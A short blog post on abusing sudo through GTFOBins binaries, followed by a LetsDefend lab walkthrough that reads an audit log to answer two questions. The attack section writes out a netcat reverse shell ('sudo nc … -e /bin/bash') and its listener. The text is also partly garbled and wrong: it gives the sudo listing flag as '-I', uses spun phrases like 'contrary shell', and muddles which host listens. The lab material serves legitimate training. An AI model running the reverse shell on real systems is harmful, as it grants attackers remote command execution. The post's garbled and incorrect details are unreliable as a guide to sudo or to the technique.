Exploiting GTFOBins: The use of Sudo

Jonathan Peña
Exploiting GTFOBins: The use of Sudo

Sudo is the application that is used to run existing applications as a superuser (root) or different user privileges on *nix systems. Attackers can use binaries with the sudo command in cases where they are stuck with the authority constraints of the system they have seized.

Attackers commonly utilize the command sudo -I to list the commands that have sudo privileges.

Example:

  1. Attacker runs command sudo + nc (netcat)
$ sudo nc 192.168.1.1 12345 -e /bin/bash
  1. The attacker will now run cat /etc/sudoers/ and see which users have root permissions or sudo privileges.
Attackers can utilize a contrary shell to acquire a natural shell meeting on the objective machine
  1. The attacker would then runnc -l -p 12345 this, which would set up a listener on the attacker's machine and wait for the inbound connection on IP 192.168.1.1 and port 12345. Once the connection is established, the attacker will have a remote shell on the target machine, allowing them to execute commands directly.


Let's Defend Walkthrough Lab: GTFOBins



Log File Location: /root/Desktop/QuestionFiles/
1. Question 1:
What is the user UID who pulls the list of commands that can be run with sudo?

By searching the word sudo in the gtfo.log file, we can find that the comm=sudo indicating the sudo bin was utilized with argument a1 as "-I". This command flag will display all the allowed (and forbidden) commands for the user who is invoking sudo.

In relation to the question, if we look closer prior to the command execution, we can see the UID=1005.

Answer: 1005

  1. In which directory did the user who wanted to view the /etc/sudoers file run this command?
We can see the user tried to run the command sudo /etc/sudoers/

Prior to this command execution, we see type=CWD, which means current working directory and then audits to the directory /home/vivek/

Answer: /home/vivek

With this, we conclude our badge as a Linux Hunter utilizing GTFO Bins. Cheers!



Great! Next, complete checkout for full access to Cybersecurity
Welcome back! You've successfully signed in
You've successfully subscribed to Cybersecurity
Success! Your account is fully activated, you now have access to all content
Success! Your billing info has been updated
Your billing was not updated